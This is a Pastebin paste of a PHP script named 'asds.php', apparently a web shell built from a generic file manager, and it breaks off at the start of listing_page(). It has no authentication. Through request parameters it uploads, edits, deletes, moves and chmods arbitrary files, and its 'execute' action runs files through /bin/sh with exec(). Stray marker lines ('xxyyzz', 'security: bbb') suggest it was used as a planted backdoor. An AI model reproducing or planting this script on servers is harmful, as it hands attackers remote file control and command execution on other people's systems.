PalmaSolutions

asds.php

Apr 30th, 2018
319
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 44.39 KB | None | 0 0
  1. xxyyzz
  2. <?php
  3. /* security:
  4. bbb
  5.  */
  6. $lang = 'auto';
  7.  
  8. /* Charset of output:
  9.  * possible values are described in the charset table at
  10.  * http://www.php.net/manual/en/function.htmlentities.php
  11.  * 'auto' - use the same charset as the words of my language are encoded
  12.  */
  13. $site_charset = 'auto';
  14.  
  15. /* Homedir:
  16.  * For example: './' - the script's directory
  17.  */
  18. $homedir = './';
  19.  
  20. /* Size of the edit textarea
  21.  */
  22. $editcols = 80;
  23. $editrows = 25;
  24.  
  25. /* -------------------------------------------
  26.  * Optional configuration (remove # to enable)
  27.  */
  28.  
  29. /* Permission of created directories:
  30.  * For example: 0705 would be 'drwx---r-x'.
  31.  */
  32. # $dirpermission = 0705;
  33.  
  34. /* Permission of created files:
  35.  * For example: 0604 would be '-rw----r--'.
  36.  */
  37. # $filepermission = 0604;
  38.  
  39. /* Filenames related to the apache web server:
  40.  */
  41. $htaccess = '.htaccess';
  42. $htpasswd = '.htpasswd';
  43.  
  44. /* ------------------------------------------------------------------------- */
  45.  
  46. if (get_magic_quotes_gpc()) {
  47.     array_walk($_GET, 'strip');
  48.     array_walk($_POST, 'strip');
  49.     array_walk($_REQUEST, 'strip');
  50. }
  51.  
  52. if (array_key_exists('image', $_GET)) {
  53.     header('Content-Type: image/gif');
  54.     die(getimage($_GET['image']));
  55. }
  56.  
  57. if (!function_exists('lstat')) {
  58.     function lstat ($filename) {
  59.         return stat($filename);
  60.     }
  61. }
  62.  
  63. $delim = DIRECTORY_SEPARATOR;
  64.  
  65. if (function_exists('php_uname')) {
  66.     $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;
  67. } else {
  68.     $win = ($delim == '\\') ? true : false;
  69. }
  70.  
  71. if (!empty($_SERVER['PATH_TRANSLATED'])) {
  72.     $scriptdir = dirname($_SERVER['PATH_TRANSLATED']);
  73. } elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {
  74.     $scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);
  75. } elseif (function_exists('getcwd')) {
  76.     $scriptdir = getcwd();
  77. } else {
  78.     $scriptdir = '.';
  79. }
  80. $homedir = relative2absolute($homedir, $scriptdir);
  81.  
  82. $dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir;
  83.  
  84. if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) {
  85.     $dir = relative2absolute($dir, $_POST['olddir']);
  86. }
  87.  
  88. $directory = simplify_path(addslash($dir));
  89.  
  90. $files = array();
  91. $action = '';
  92. if (!empty($_POST['submit_all'])) {
  93.     $action = $_POST['action_all'];
  94.     for ($i = 0; $i < $_POST['num']; $i++) {
  95.         if (array_key_exists("checked$i", $_POST) && $_POST["checked$i"] == 'true') {
  96.             $files[] = $_POST["file$i"];
  97.         }
  98.     }
  99. } elseif (!empty($_REQUEST['action'])) {
  100.     $action = $_REQUEST['action'];
  101.     $files[] = relative2absolute($_REQUEST['file'], $directory);
  102. } elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) {
  103.     $files[] = $_FILES['upload'];
  104.     $action = 'upload';
  105. } elseif (array_key_exists('num', $_POST)) {
  106.     for ($i = 0; $i < $_POST['num']; $i++) {
  107.         if (array_key_exists("submit$i", $_POST)) break;
  108.     }
  109.     if ($i < $_POST['num']) {
  110.         $action = $_POST["action$i"];
  111.         $files[] = $_POST["file$i"];
  112.     }
  113. }
  114. if (empty($action) && (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) && $_POST['focus'] == 'create')) && !empty($_POST['create_name'])) {
  115.     $files[] = relative2absolute($_POST['create_name'], $directory);
  116.     switch ($_POST['create_type']) {
  117.     case 'directory':
  118.         $action = 'create_directory';
  119.         break;
  120.     case 'file':
  121.         $action = 'create_file';
  122.     }
  123. }
  124. if (sizeof($files) == 0) $action = ''; else $file = reset($files);
  125.  
  126. if ($lang == 'auto') {
  127.     if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) {
  128.         $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
  129.     } else {
  130.         $lang = 'en';
  131.     }
  132. }
  133.  
  134. $words = getwords($lang);
  135.  
  136. if ($site_charset == 'auto') {
  137.     $site_charset = $word_charset;
  138. }
  139.  
  140. $cols = ($win) ? 4 : 7;
  141.  
  142. if (!isset($dirpermission)) {
  143.     $dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755;
  144. }
  145. if (!isset($filepermission)) {
  146.     $filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644;
  147. }
  148.  
  149. if (!empty($_SERVER['SCRIPT_NAME'])) {
  150.     $self = html(basename($_SERVER['SCRIPT_NAME']));
  151. } elseif (!empty($_SERVER['PHP_SELF'])) {
  152.     $self = html(basename($_SERVER['PHP_SELF']));
  153. } else {
  154.     $self = '';
  155. }
  156.  
  157. if (!empty($_SERVER['SERVER_SOFTWARE'])) {
  158.     if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {
  159.         $apache = true;
  160.     } else {
  161.         $apache = false;
  162.     }
  163. } else {
  164.     $apache = true;
  165. }
  166.  
  167. switch ($action) {
  168.  
  169. case 'view':
  170.  
  171.     if (is_script($file)) {
  172.  
  173.         /* highlight_file is a mess! */
  174.         ob_start();
  175.         highlight_file($file);
  176.         $src = ereg_replace('<font color="([^"]*)">', '<span style="color: \1">', ob_get_contents());
  177.         $src = str_replace(array('</font>', "\r", "\n"), array('</span>', '', ''), $src);
  178.         ob_end_clean();
  179.  
  180.         html_header();
  181.         echo '<h2 style="text-align: left; margin-bottom: 0">' . html($file) . '</h2>
  182.  
  183. <hr />
  184.  
  185. <table>
  186. <tr>
  187. <td style="text-align: right; vertical-align: top; color: gray; padding-right: 3pt; border-right: 1px solid gray">
  188. <pre style="margin-top: 0"><code>';
  189.  
  190.         for ($i = 1; $i <= sizeof(file($file)); $i++) echo "$i\n";
  191.  
  192.         echo '</code></pre>
  193. </td>
  194. <td style="text-align: left; vertical-align: top; padding-left: 3pt">
  195. <pre style="margin-top: 0">' . $src . '</pre>
  196. </td>
  197. </tr>
  198. </table>
  199.  
  200. ';
  201.  
  202.         html_footer();
  203.  
  204.     } else {
  205.  
  206.         header('Content-Type: ' . getmimetype($file));
  207.         header('Content-Disposition: filename=' . basename($file));
  208.  
  209.         readfile($file);
  210.  
  211.     }
  212.  
  213.     break;
  214.  
  215. case 'download':
  216.  
  217.     header('Pragma: public');
  218.     header('Expires: 0');
  219.     header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
  220.     header('Content-Type: ' . getmimetype($file));
  221.     header('Content-Disposition: attachment; filename=' . basename($file) . ';');
  222.     header('Content-Length: ' . filesize($file));
  223.  
  224.     readfile($file);
  225.  
  226.     break;
  227.  
  228. case 'upload':
  229.  
  230.     $dest = relative2absolute($file['name'], $directory);
  231.  
  232.     if (@file_exists($dest)) {
  233.         listing_page(error('already_exists', $dest));
  234.     } elseif (@move_uploaded_file($file['tmp_name'], $dest)) {
  235.         @chmod($dest, $filepermission);
  236.         listing_page(notice('uploaded', $file['name']));
  237.     } else {
  238.         listing_page(error('not_uploaded', $file['name']));
  239.     }
  240.  
  241.     break;
  242.  
  243. case 'create_directory':
  244.  
  245.     if (@file_exists($file)) {
  246.         listing_page(error('already_exists', $file));
  247.     } else {
  248.         $old = @umask(0777 & ~$dirpermission);
  249.         if (@mkdir($file, $dirpermission)) {
  250.             listing_page(notice('created', $file));
  251.         } else {
  252.             listing_page(error('not_created', $file));
  253.         }
  254.         @umask($old);
  255.     }
  256.  
  257.     break;
  258.  
  259. case 'create_file':
  260.  
  261.     if (@file_exists($file)) {
  262.         listing_page(error('already_exists', $file));
  263.     } else {
  264.         $old = @umask(0777 & ~$filepermission);
  265.         if (@touch($file)) {
  266.             edit($file);
  267.         } else {
  268.             listing_page(error('not_created', $file));
  269.         }
  270.         @umask($old);
  271.     }
  272.  
  273.     break;
  274.  
  275. case 'execute':
  276.  
  277.     chdir(dirname($file));
  278.  
  279.     $output = array();
  280.     $retval = 0;
  281.     exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);
  282.  
  283.     $error = ($retval == 0) ? false : true;
  284.  
  285.     if (sizeof($output) == 0) $output = array('<' . $words['no_output'] . '>');
  286.  
  287.     if ($error) {
  288.         listing_page(error('not_executed', $file, implode("\n", $output)));
  289.     } else {
  290.         listing_page(notice('executed', $file, implode("\n", $output)));
  291.     }
  292.  
  293.     break;
  294.  
  295. case 'delete':
  296.  
  297.     if (!empty($_POST['no'])) {
  298.         listing_page();
  299.     } elseif (!empty($_POST['yes'])) {
  300.  
  301.         $failure = array();
  302.         $success = array();
  303.  
  304.         foreach ($files as $file) {
  305.             if (del($file)) {
  306.                 $success[] = $file;
  307.             } else {
  308.                 $failure[] = $file;
  309.             }
  310.         }
  311.  
  312.         $message = '';
  313.         if (sizeof($failure) > 0) {
  314.             $message = error('not_deleted', implode("\n", $failure));
  315.         }
  316.         if (sizeof($success) > 0) {
  317.             $message .= notice('deleted', implode("\n", $success));
  318.         }
  319.  
  320.         listing_page($message);
  321.  
  322.     } else {
  323.  
  324.         html_header();
  325.  
  326.         echo '<form action="' . $self . '" method="post">
  327. <table class="dialog">
  328. <tr>
  329. <td class="dialog">
  330. ';
  331.  
  332.         request_dump();
  333.  
  334.         echo "\t<b>" . word('really_delete') . '</b>
  335.     <p>
  336. ';
  337.  
  338.         foreach ($files as $file) {
  339.             echo "\t" . html($file) . "<br />\n";
  340.         }
  341.  
  342.         echo '  </p>
  343.     <hr />
  344.     <input type="submit" name="no" value="' . word('no') . '" id="red_button" />
  345.     <input type="submit" name="yes" value="' . word('yes') . '" id="green_button" style="margin-left: 50px" />
  346. </td>
  347. </tr>
  348. </table>
  349. </form>
  350.  
  351. ';
  352.  
  353.         html_footer();
  354.  
  355.     }
  356.  
  357.     break;
  358.  
  359. case 'rename':
  360.  
  361.     if (!empty($_POST['destination'])) {
  362.  
  363.         $dest = relative2absolute($_POST['destination'], $directory);
  364.  
  365.         if (!@file_exists($dest) && @rename($file, $dest)) {
  366.             listing_page(notice('renamed', $file, $dest));
  367.         } else {
  368.             listing_page(error('not_renamed', $file, $dest));
  369.         }
  370.  
  371.     } else {
  372.  
  373.         $name = basename($file);
  374.  
  375.         html_header();
  376.  
  377.         echo '<form action="' . $self . '" method="post">
  378.  
  379. <table class="dialog">
  380. <tr>
  381. <td class="dialog">
  382.     <input type="hidden" name="action" value="rename" />
  383.     <input type="hidden" name="file" value="' . html($file) . '" />
  384.     <input type="hidden" name="dir" value="' . html($directory) . '" />
  385.     <b>' . word('rename_file') . '</b>
  386.     <p>' . html($file) . '</p>
  387.     <b>' . substr($file, 0, strlen($file) - strlen($name)) . '</b>
  388.     <input type="text" name="destination" size="' . textfieldsize($name) . '" value="' . html($name) . '" />
  389.     <hr />
  390.     <input type="submit" value="' . word('rename') . '" />
  391. </td>
  392. </tr>
  393. </table>
  394.  
  395. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
  396.  
  397. </form>
  398.  
  399. ';
  400.  
  401.         html_footer();
  402.  
  403.     }
  404.  
  405.     break;
  406.  
  407. case 'move':
  408.  
  409.     if (!empty($_POST['destination'])) {
  410.  
  411.         $dest = relative2absolute($_POST['destination'], $directory);
  412.  
  413.         $failure = array();
  414.         $success = array();
  415.  
  416.         foreach ($files as $file) {
  417.             $filename = substr($file, strlen($directory));
  418.             $d = $dest . $filename;
  419.             if (!@file_exists($d) && @rename($file, $d)) {
  420.                 $success[] = $file;
  421.             } else {
  422.                 $failure[] = $file;
  423.             }
  424.         }
  425.  
  426.         $message = '';
  427.         if (sizeof($failure) > 0) {
  428.             $message = error('not_moved', implode("\n", $failure), $dest);
  429.         }
  430.         if (sizeof($success) > 0) {
  431.             $message .= notice('moved', implode("\n", $success), $dest);
  432.         }
  433.  
  434.         listing_page($message);
  435.  
  436.     } else {
  437.  
  438.         html_header();
  439.  
  440.         echo '<form action="' . $self . '" method="post">
  441.  
  442. <table class="dialog">
  443. <tr>
  444. <td class="dialog">
  445. ';
  446.  
  447.         request_dump();
  448.  
  449.         echo "\t<b>" . word('move_files') . '</b>
  450.     <p>
  451. ';
  452.  
  453.         foreach ($files as $file) {
  454.             echo "\t" . html($file) . "<br />\n";
  455.         }
  456.  
  457.         echo '  </p>
  458.     <hr />
  459.     ' . word('destination') . ':
  460.     <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
  461.     <input type="submit" value="' . word('move') . '" />
  462. </td>
  463. </tr>
  464. </table>
  465.  
  466. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
  467.  
  468. </form>
  469.  
  470. ';
  471.  
  472.         html_footer();
  473.  
  474.     }
  475.  
  476.     break;
  477.  
  478. case 'copy':
  479.  
  480.     if (!empty($_POST['destination'])) {
  481.  
  482.         $dest = relative2absolute($_POST['destination'], $directory);
  483.  
  484.         if (@is_dir($dest)) {
  485.  
  486.             $failure = array();
  487.             $success = array();
  488.  
  489.             foreach ($files as $file) {
  490.                 $filename = substr($file, strlen($directory));
  491.                 $d = addslash($dest) . $filename;
  492.                 if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) {
  493.                     $success[] = $file;
  494.                 } else {
  495.                     $failure[] = $file;
  496.                 }
  497.             }
  498.  
  499.             $message = '';
  500.             if (sizeof($failure) > 0) {
  501.                 $message = error('not_copied', implode("\n", $failure), $dest);
  502.             }
  503.             if (sizeof($success) > 0) {
  504.                 $message .= notice('copied', implode("\n", $success), $dest);
  505.             }
  506.  
  507.             listing_page($message);
  508.  
  509.         } else {
  510.  
  511.             if (!@file_exists($dest) && @copy($file, $dest)) {
  512.                 listing_page(notice('copied', $file, $dest));
  513.             } else {
  514.                 listing_page(error('not_copied', $file, $dest));
  515.             }
  516.  
  517.         }
  518.  
  519.     } else {
  520.  
  521.         html_header();
  522.  
  523.         echo '<form action="' . $self . '" method="post">
  524.  
  525. <table class="dialog">
  526. <tr>
  527. <td class="dialog">
  528. ';
  529.  
  530.         request_dump();
  531.  
  532.         echo "\n<b>" . word('copy_files') . '</b>
  533.     <p>
  534. ';
  535.  
  536.         foreach ($files as $file) {
  537.             echo "\t" . html($file) . "<br />\n";
  538.         }
  539.  
  540.         echo '  </p>
  541.     <hr />
  542.     ' . word('destination') . ':
  543.     <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
  544.     <input type="submit" value="' . word('copy') . '" />
  545. </td>
  546. </tr>
  547. </table>
  548.  
  549. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
  550.  
  551. </form>
  552.  
  553. ';
  554.  
  555.         html_footer();
  556.  
  557.     }
  558.  
  559.     break;
  560.  
  561. case 'create_symlink':
  562.  
  563.     if (!empty($_POST['destination'])) {
  564.  
  565.         $dest = relative2absolute($_POST['destination'], $directory);
  566.  
  567.         if (substr($dest, -1, 1) == $delim) $dest .= basename($file);
  568.  
  569.         if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file);
  570.  
  571.         if (!@file_exists($dest) && @symlink($file, $dest)) {
  572.             listing_page(notice('symlinked', $file, $dest));
  573.         } else {
  574.             listing_page(error('not_symlinked', $file, $dest));
  575.         }
  576.  
  577.     } else {
  578.  
  579.         html_header();
  580.  
  581.         echo '<form action="' . $self . '" method="post">
  582.  
  583. <table class="dialog" id="symlink">
  584. <tr>
  585.     <td style="vertical-align: top">' . word('destination') . ': </td>
  586.     <td>
  587.         <b>' . html($file) . '</b><br />
  588.         <input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked="checked" style="margin-top: 1ex" />
  589.         <label for="checkbox_relative">' . word('relative') . '</label>
  590.         <input type="hidden" name="action" value="create_symlink" />
  591.         <input type="hidden" name="file" value="' . html($file) . '" />
  592.         <input type="hidden" name="dir" value="' . html($directory) . '" />
  593.     </td>
  594. </tr>
  595. <tr>
  596.     <td>' . word('symlink') . ': </td>
  597.     <td>
  598.         <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
  599.         <input type="submit" value="' . word('create_symlink') . '" />
  600.     </td>
  601. </tr>
  602. </table>
  603.  
  604. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
  605.  
  606. </form>
  607.  
  608. ';
  609.  
  610.         html_footer();
  611.  
  612.     }
  613.  
  614.     break;
  615.  
  616. case 'edit':
  617.  
  618.     if (!empty($_POST['save'])) {
  619.  
  620.         $content = str_replace("\r\n", "\n", $_POST['content']);
  621.  
  622.         if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) {
  623.             listing_page(notice('saved', $file));
  624.         } else {
  625.             listing_page(error('not_saved', $file));
  626.         }
  627.  
  628.     } else {
  629.  
  630.         if (@is_readable($file) && @is_writable($file)) {
  631.             edit($file);
  632.         } else {
  633.             listing_page(error('not_edited', $file));
  634.         }
  635.  
  636.     }
  637.  
  638.     break;
  639.  
  640. case 'permission':
  641.  
  642.     if (!empty($_POST['set'])) {
  643.  
  644.         $mode = 0;
  645.         if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100;
  646.         if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010;
  647.         if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001;
  648.  
  649.         if (@chmod($file, $mode)) {
  650.             listing_page(notice('permission_set', $file, decoct($mode)));
  651.         } else {
  652.             listing_page(error('permission_not_set', $file, decoct($mode)));
  653.         }
  654.  
  655.     } else {
  656.  
  657.         html_header();
  658.  
  659.         $mode = fileperms($file);
  660.  
  661.         echo '<form action="' . $self . '" method="post">
  662.  
  663. <table class="dialog">
  664. <tr>
  665. <td class="dialog">
  666.  
  667.     <p style="margin: 0">' . phrase('permission_for', $file) . '</p>
  668.  
  669.     <hr />
  670.  
  671.     <table id="permission">
  672.     <tr>
  673.         <td></td>
  674.         <td style="border-right: 1px solid black">' . word('owner') . '</td>
  675.         <td style="border-right: 1px solid black">' . word('group') . '</td>
  676.         <td>' . word('other') . '</td>
  677.     </tr>
  678.     <tr>
  679.         <td style="text-align: right">' . word('read') . ':</td>
  680.         <td><input type="checkbox" name="ur" value="1"'; if ($mode & 00400) echo ' checked="checked"'; echo ' /></td>
  681.         <td><input type="checkbox" name="gr" value="1"'; if ($mode & 00040) echo ' checked="checked"'; echo ' /></td>
  682.         <td><input type="checkbox" name="or" value="1"'; if ($mode & 00004) echo ' checked="checked"'; echo ' /></td>
  683.     </tr>
  684.     <tr>
  685.         <td style="text-align: right">' . word('write') . ':</td>
  686.         <td><input type="checkbox" name="uw" value="1"'; if ($mode & 00200) echo ' checked="checked"'; echo ' /></td>
  687.         <td><input type="checkbox" name="gw" value="1"'; if ($mode & 00020) echo ' checked="checked"'; echo ' /></td>
  688.         <td><input type="checkbox" name="ow" value="1"'; if ($mode & 00002) echo ' checked="checked"'; echo ' /></td>
  689.     </tr>
  690.     <tr>
  691.         <td style="text-align: right">' . word('execute') . ':</td>
  692.         <td><input type="checkbox" name="ux" value="1"'; if ($mode & 00100) echo ' checked="checked"'; echo ' /></td>
  693.         <td><input type="checkbox" name="gx" value="1"'; if ($mode & 00010) echo ' checked="checked"'; echo ' /></td>
  694.         <td><input type="checkbox" name="ox" value="1"'; if ($mode & 00001) echo ' checked="checked"'; echo ' /></td>
  695.     </tr>
  696.     </table>
  697.  
  698.     <hr />
  699.  
  700.     <input type="submit" name="set" value="' . word('set') . '" />
  701.  
  702.     <input type="hidden" name="action" value="permission" />
  703.     <input type="hidden" name="file" value="' . html($file) . '" />
  704.     <input type="hidden" name="dir" value="' . html($directory) . '" />
  705.  
  706. </td>
  707. </tr>
  708. </table>
  709.  
  710. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
  711.  
  712. </form>
  713.  
  714. ';
  715.  
  716.         html_footer();
  717.  
  718.     }
  719.  
  720.     break;
  721.  
  722. default:
  723.  
  724.     listing_page();
  725.  
  726. }
  727.  
  728. /* ------------------------------------------------------------------------- */
  729.  
  730. function getlist ($directory) {
  731.     global $delim, $win;
  732.  
  733.     if ($d = @opendir($directory)) {
  734.  
  735.         while (($filename = @readdir($d)) !== false) {
  736.  
  737.             $path = $directory . $filename;
  738.  
  739.             if ($stat = @lstat($path)) {
  740.  
  741.                 $file = array(
  742.                     'filename'    => $filename,
  743.                     'path'        => $path,
  744.                     'is_file'     => @is_file($path),
  745.                     'is_dir'      => @is_dir($path),
  746.                     'is_link'     => @is_link($path),
  747.                     'is_readable' => @is_readable($path),
  748.                     'is_writable' => @is_writable($path),
  749.                     'size'        => $stat['size'],
  750.                     'permission'  => $stat['mode'],
  751.                     'owner'       => $stat['uid'],
  752.                     'group'       => $stat['gid'],
  753.                     'mtime'       => @filemtime($path),
  754.                     'atime'       => @fileatime($path),
  755.                     'ctime'       => @filectime($path)
  756.                 );
  757.  
  758.                 if ($file['is_dir']) {
  759.                     $file['is_executable'] = @file_exists($path . $delim . '.');
  760.                 } else {
  761.                     if (!$win) {
  762.                         $file['is_executable'] = @is_executable($path);
  763.                     } else {
  764.                         $file['is_executable'] = true;
  765.                     }
  766.                 }
  767.  
  768.                 if ($file['is_link']) $file['target'] = @readlink($path);
  769.  
  770.                 if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner']));
  771.                 if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group']));
  772.  
  773.                 $files[] = $file;
  774.  
  775.             }
  776.  
  777.         }
  778.  
  779.         return $files;
  780.  
  781.     } else {
  782.         return false;
  783.     }
  784.  
  785. }
  786.  
  787. function sortlist ($list, $key, $reverse) {
  788.  
  789.     $dirs = array();
  790.     $files = array();
  791.    
  792.     for ($i = 0; $i < sizeof($list); $i++) {
  793.         if ($list[$i]['is_dir']) $dirs[] = $list[$i];
  794.         else $files[] = $list[$i];
  795.     }
  796.  
  797.     quicksort($dirs, 0, sizeof($dirs) - 1, $key);
  798.     if ($reverse) $dirs = array_reverse($dirs);
  799.  
  800.     quicksort($files, 0, sizeof($files) - 1, $key);
  801.     if ($reverse) $files = array_reverse($files);
  802.  
  803.     return array_merge($dirs, $files);
  804.  
  805. }
  806.  
  807. function quicksort (&$array, $first, $last, $key) {
  808.  
  809.     if ($first < $last) {
  810.  
  811.         $cmp = $array[floor(($first + $last) / 2)][$key];
  812.  
  813.         $l = $first;
  814.         $r = $last;
  815.  
  816.         while ($l <= $r) {
  817.  
  818.             while ($array[$l][$key] < $cmp) $l++;
  819.             while ($array[$r][$key] > $cmp) $r--;
  820.  
  821.             if ($l <= $r) {
  822.  
  823.                 $tmp = $array[$l];
  824.                 $array[$l] = $array[$r];
  825.                 $array[$r] = $tmp;
  826.  
  827.                 $l++;
  828.                 $r--;
  829.  
  830.             }
  831.  
  832.         }
  833.  
  834.         quicksort($array, $first, $r, $key);
  835.         quicksort($array, $l, $last, $key);
  836.  
  837.     }
  838.  
  839. }
  840.  
  841. function permission_octal2string ($mode) {
  842.  
  843.     if (($mode & 0xC000) === 0xC000) {
  844.         $type = 's';
  845.     } elseif (($mode & 0xA000) === 0xA000) {
  846.         $type = 'l';
  847.     } elseif (($mode & 0x8000) === 0x8000) {
  848.         $type = '-';
  849.     } elseif (($mode & 0x6000) === 0x6000) {
  850.         $type = 'b';
  851.     } elseif (($mode & 0x4000) === 0x4000) {
  852.         $type = 'd';
  853.     } elseif (($mode & 0x2000) === 0x2000) {
  854.         $type = 'c';
  855.     } elseif (($mode & 0x1000) === 0x1000) {
  856.         $type = 'p';
  857.     } else {
  858.         $type = '?';
  859.     }
  860.  
  861.     $owner  = ($mode & 00400) ? 'r' : '-';
  862.     $owner .= ($mode & 00200) ? 'w' : '-';
  863.     if ($mode & 0x800) {
  864.         $owner .= ($mode & 00100) ? 's' : 'S';
  865.     } else {
  866.         $owner .= ($mode & 00100) ? 'x' : '-';
  867.     }
  868.  
  869.     $group  = ($mode & 00040) ? 'r' : '-';
  870.     $group .= ($mode & 00020) ? 'w' : '-';
  871.     if ($mode & 0x400) {
  872.         $group .= ($mode & 00010) ? 's' : 'S';
  873.     } else {
  874.         $group .= ($mode & 00010) ? 'x' : '-';
  875.     }
  876.  
  877.     $other  = ($mode & 00004) ? 'r' : '-';
  878.     $other .= ($mode & 00002) ? 'w' : '-';
  879.     if ($mode & 0x200) {
  880.         $other .= ($mode & 00001) ? 't' : 'T';
  881.     } else {
  882.         $other .= ($mode & 00001) ? 'x' : '-';
  883.     }
  884.  
  885.     return $type . $owner . $group . $other;
  886.  
  887. }
  888.  
  889. function is_script ($filename) {
  890.     return ereg('\.php$|\.php3$|\.php4$|\.php5$', $filename);
  891. }
  892.  
  893. function getmimetype ($filename) {
  894.     static $mimes = array(
  895.         '\.jpg$|\.jpeg$'  => 'image/jpeg',
  896.         '\.gif$'          => 'image/gif',
  897.         '\.png$'          => 'image/png',
  898.         '\.html$|\.html$' => 'text/html',
  899.         '\.txt$|\.asc$'   => 'text/plain',
  900.         '\.xml$|\.xsl$'   => 'application/xml',
  901.         '\.pdf$'          => 'application/pdf'
  902.     );
  903.  
  904.     foreach ($mimes as $regex => $mime) {
  905.         if (eregi($regex, $filename)) return $mime;
  906.     }
  907.  
  908.     // return 'application/octet-stream';
  909.     return 'text/plain';
  910.  
  911. }
  912.  
  913. function del ($file) {
  914.     global $delim;
  915.  
  916.     if (!file_exists($file)) return false;
  917.  
  918.     if (@is_dir($file) && !@is_link($file)) {
  919.  
  920.         $success = false;
  921.  
  922.         if (@rmdir($file)) {
  923.  
  924.             $success = true;
  925.  
  926.         } elseif ($dir = @opendir($file)) {
  927.  
  928.             $success = true;
  929.  
  930.             while (($f = readdir($dir)) !== false) {
  931.                 if ($f != '.' && $f != '..' && !del($file . $delim . $f)) {
  932.                     $success = false;
  933.                 }
  934.             }
  935.             closedir($dir);
  936.  
  937.             if ($success) $success = @rmdir($file);
  938.  
  939.         }
  940.  
  941.         return $success;
  942.  
  943.     }
  944.  
  945.     return @unlink($file);
  946.  
  947. }
  948.  
  949. function addslash ($directory) {
  950.     global $delim;
  951.  
  952.     if (substr($directory, -1, 1) != $delim) {
  953.         return $directory . $delim;
  954.     } else {
  955.         return $directory;
  956.     }
  957.  
  958. }
  959.  
  960. function relative2absolute ($string, $directory) {
  961.  
  962.     if (path_is_relative($string)) {
  963.         return simplify_path(addslash($directory) . $string);
  964.     } else {
  965.         return simplify_path($string);
  966.     }
  967.  
  968. }
  969.  
  970. function path_is_relative ($path) {
  971.     global $win;
  972.  
  973.     if ($win) {
  974.         return (substr($path, 1, 1) != ':');
  975.     } else {
  976.         return (substr($path, 0, 1) != '/');
  977.     }
  978.  
  979. }
  980.  
  981. function absolute2relative ($directory, $target) {
  982.     global $delim;
  983.  
  984.     $path = '';
  985.     while ($directory != $target) {
  986.         if ($directory == substr($target, 0, strlen($directory))) {
  987.             $path .= substr($target, strlen($directory));
  988.             break;
  989.         } else {
  990.             $path .= '..' . $delim;
  991.             $directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
  992.         }
  993.     }
  994.     if ($path == '') $path = '.';
  995.  
  996.     return $path;
  997.  
  998. }
  999.  
  1000. function simplify_path ($path) {
  1001.     global $delim;
  1002.  
  1003.     if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') {
  1004.         $path = realpath($path);
  1005.         if (@is_dir($path)) {
  1006.             return addslash($path);
  1007.         } else {
  1008.             return $path;
  1009.         }
  1010.     }
  1011.  
  1012.     $pattern  = $delim . '.' . $delim;
  1013.  
  1014.     if (@is_dir($path)) {
  1015.         $path = addslash($path);
  1016.     }
  1017.  
  1018.     while (strpos($path, $pattern) !== false) {
  1019.         $path = str_replace($pattern, $delim, $path);
  1020.     }
  1021.  
  1022.     $e = addslashes($delim);
  1023.     $regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e;
  1024.  
  1025.     while (ereg($regex, $path)) {
  1026.         $path = ereg_replace($regex, $delim, $path);
  1027.     }
  1028.    
  1029.     return $path;
  1030.  
  1031. }
  1032.  
  1033. function human_filesize ($filesize) {
  1034.  
  1035.     $suffices = 'kMGTPE';
  1036.  
  1037.     $n = 0;
  1038.     while ($filesize >= 1000) {
  1039.         $filesize /= 1024;
  1040.         $n++;
  1041.     }
  1042.  
  1043.     $filesize = round($filesize, 3 - strpos($filesize, '.'));
  1044.  
  1045.     if (strpos($filesize, '.') !== false) {
  1046.         while (in_array(substr($filesize, -1, 1), array('0', '.'))) {
  1047.             $filesize = substr($filesize, 0, strlen($filesize) - 1);
  1048.         }
  1049.     }
  1050.  
  1051.     $suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1));
  1052.  
  1053.     return $filesize . " {$suffix}B";
  1054.  
  1055. }
  1056.  
  1057. function strip (&$str) {
  1058.     $str = stripslashes($str);
  1059. }
  1060.  
  1061. /* ------------------------------------------------------------------------- */
  1062.  
  1063. function listing_page ($message = null) {
